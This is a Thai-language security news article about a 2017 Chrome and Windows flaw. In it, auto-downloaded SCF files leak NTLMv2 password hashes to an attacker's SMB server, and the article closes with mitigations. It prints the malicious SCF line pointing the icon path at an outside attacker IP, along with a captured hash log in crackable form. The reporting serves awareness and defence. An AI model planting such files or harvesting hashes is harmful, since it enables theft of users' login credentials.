Bosko Stankovic นักวิจัยด้านความมั่นคงปลอดภัยจาก DefenseCode ออกมาแจ้งเตือนถึงช่องโหว่บนการตั้งค่าเริ่มต้นของ Google Chrome เวอร์ชันล่าสุด ซึ่งช่วยให้แฮ็คเกอร์สามารถขโมยข้อมูลล็อกอินของผู้ใช้ระบบปฏิบัติการ Windows แม้แต่ Windows 10 ที่อัปเดตแพทช์ล่าสุดจากระยะไกลได้ ชี้เป็นช่องโหว่แบบเดียวกับที่ Stuxnet ใช้โจมตีโรงไฟฟ้านิวเคลียร์ของอิหร่าน

Stankovic ระบุว่า เพียงแค่ผู้ใช้เข้าถึงโฟลเดอร์ที่มีไฟล์ SCF ที่แฮ็คเกอร์ออกแบบมาเป็นพิเศษ ข้อมูลล็อกอินของผู้ใช้ เช่น ชื่อผู้ใช้และรหัสผ่านที่ถูกแฮชจะถูกส่งไปยังแฮ็คเกอร์ผ่านทาง Google Chrome และโปรโตคอล SMB ทันที โดยการโจมตีนี้อาศัยการผสาน 2 เทคนิคเข้าด้วยกัน คือ เทคนิคที่ Stuxnet ใช้ และเทคนิคที่ถูกเผยแพร่ในงานประชุม Black Hat ปี 2015
SCF (Shell Command File) เป็นไฟล์ Shortcut แบบหนึ่งที่ทำงานคล้ายกับไฟล์ LNK และถูกออกแบบมาเพื่อรองรับการรันคำสั่ง Windows Explorer ในระดับหนึ่ง เช่น เปิดหน้าต่าง Windows Explorer หรือแสดงหน้า Desktop โดยพื้นฐานแล้ว ลิงค์ Shortcut บนหน้า Desktop จะเป็นไฟล์ Text ที่มี Syntax ของ Shell Code เฉพาะตัว ซึ่งจะกำหนดตำแหน่งของไฟล์ไอคอนที่จะโหลด ชื่อแอพพลิเคชัน และตำแหน่งของแอพพลิเคชัน เช่น
[Shell] Command=2 IconFile=explorer.exe,3
เนื่องจาก Chrome เชื่อว่าไฟล์ SCF ของ Windows เป็นไฟล์ปกติ ส่งผลให้แฮ็คเกอร์สามารถหลอกให้เหยื่อเข้าไปยังหน้าเว็บไซต์ของตนเองซึ่งแฝงไฟล์ SCF ที่ออกแบบมาเป็นพิเศษ ไฟล์ดังกล่าวจะถูกดาวน์โหลดไปยังเครื่องของเหยื่อโดยอัตโนมัติโดยที่ไม่มีการเด้งหน้าต่างแจ้งเตือนหรือให้กดยืนยันใดๆ และตราบเท่าที่เหยื่อเปิดโฟลเดอร์ที่มีไฟล์ SCF นั้นอยู่ ไม่ช้าก็เร็ว ไฟล์ดังกล่าวจะรันตัวเองเพื่อโหลดไฟล์ไอคอนมา ต่อให้เหยื่อไม่คลิกบนไฟล์นั้นก็ตาม
แฮ็คเกอร์จึงอาศัยช่องโหว่ของการทำงานของ Chrome และไฟล์ SCF นี้ ในการแก้ไขตำแหน่งของไฟล์ไอคอนไปเป็นตำแหน่งของ SMB Server ของตนเองแทน ส่งผลให้เมื่อไฟล์ SCF พยายามที่จะโหลดไฟล์ไอคอนมา มันจะถูกหลอกให้ทำการพิสูจน์ตัวตนกับ Remote Server ของแฮ็คเกอร์ผ่านทางโปรโตคอล SMB ซึ่งข้อมูลชื่อผู้ใช้และรหัสผ่านที่ถูกแฮชจะถูกส่งไปพิสูจน์ตัวตนโดยอัตโนมัติ ผลลัพธ์คือแฮ็คเกอร์ได้ข้อมูลล็อกอินของเหยื่อโดยทันที
[Shell] IconFile=\\170.170.170.170\icon
เทคนิคนี้เป็นเทคนิคเดียวกับที่ Stuxnet เคยใช้กับไฟล์ LNK ในอดีต ส่งผลให้ Microsoft บังคับให้ไฟล์ LNK โหลดไฟล์ไอคอนจากภายในเครื่องคอมพิวเตอร์ของตัวเองเท่านั้น ทำให้ช่องโหว่บนไฟล์ LNK หายไป แต่บนไฟล์ SCF ยังคงมีอยู่
คำถามถัดมา แล้วทำไมคอมพิวเตอร์ถึงส่งข้อมูลชื่อผู้ใช้และรหัสผ่านที่ถูกแฮชไปพิสูจน์ตัวตนกับ SMB Server ของแฮ็คเกอร์โดยอัตโนมัติ ?
คำตอบคือ สาเหตุมาจากกลไกการพิสูจน์ตัวตนผ่าน NTLM Challenge/Response ผ่านทางโปรโตคอล SMB ซึ่งสรุปการทำงานได้เป็น 4 ขั้นตอน ดังนี้
- ผู้ใช้ Windows พยายามล็อกอินเข้าสู่ Server
- Server ตอบกลับด้วยการ Challenge โดยบอกให้ผู้ใช้เข้ารหัสค่าที่ใช้ Challenge โดยใช้รหัสผ่านที่ถูกแฮช แล้วส่งกลับมา
- Windows จัดการคำร้องขอของ Server โดยส่งชื่อผู้ใช้และรหัสผ่านที่ถูกแฮช (ผ่านทางการเข้ารหัสค่าที่ใช้ Challenge) กลับไปยัง Server
- Server รับคำตอบและยืนยันการพิสูจน์ตัวตนในกรณีที่รหัสผ่านทีถูกแฮชมาค่าถูกต้อง
ดังนั้น เมื่อเทียบกับการโจมตีผ่านไฟล์ SCF เครื่องของเหยื่อจะพยายามพิสูจน์ตัวตนกับ SMB Server โดยอัตโนมัติ โดยส่งชื่อผู้ใช้และรหัสผ่านที่ถูกแฮชด้วย NTLMv2 กลับไปยัง SMB Server ตามขั้นตอนที่ 3 ในกรณีที่ผู้ใช้อยู่ในเครือข่ายขององค์กร ข้อมูลล็อกอินที่ถูกส่งไปยังแฮ็คเกอร์จะเป็นข้อมูลที่ SysAdmin ขององค์กรกำหนดให้ แต่ในกรณีที่เป็นผู้ใช้ตามบ้าน ข้อมูลล็อกอินของ Windows จะถูกส่งไปแทน
[*] SMB Captured - 2017-05-15 13:10:44 +0200 NTLMv2 Response Captured from 173.203.29.182:62521 - 173.203.29.182 USER:Bosko DOMAIN:Master OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:98daf39c3a253bbe4a289e7a746d4b24 NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e000000000200000000000 00000000000
Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e00000000020000000000000000000000
ถึงแม้ว่ารหัสผ่านจะถูกแฮชอยู่ แต่ไม่ใช่เรื่องยากที่แฮ็คเกอร์จะทำการ Brute Force เพื่อให้ได้รหัสผ่านในรูปของ Plain Text
วิธีป้องกันการโจมตีแบบนี้สามารถทำได้ง่ายมาก เพียงแค่ใช้ Firewall บล็อกการเชื่อมต่อ SMB จากภายในที่ส่งไปภายนอก (TCP พอร์ต 139 และ 445) เพื่อไม่ให้เครื่องคอมพิวเตอร์เชื่อมต่อกับ SMB Server ภายนอกองค์กร นอกจากนี้ Stankovic ยังแนะนำให้ผู้ใช้ยกเลิกการดาวน์โหลดไฟล์อัตโนมัติบน Google Chrome โดยไปที่ Settings → Show advanced settings → และเลือก “Ask where to save each file before downloading” เพื่อให้ผู้ใช้สามารถตรวจสอบไฟล์ที่ดาวน์โหลดเข้าสู่เครื่องคอมพิวเตอร์ก่อนได้ทุกครั้ง
รายละเอียดเพิ่มเติม: http://defensecode.com/news_article.php?id=21
ที่มา: http://thehackernews.com/2017/05/chrome-windows-password-hacking.html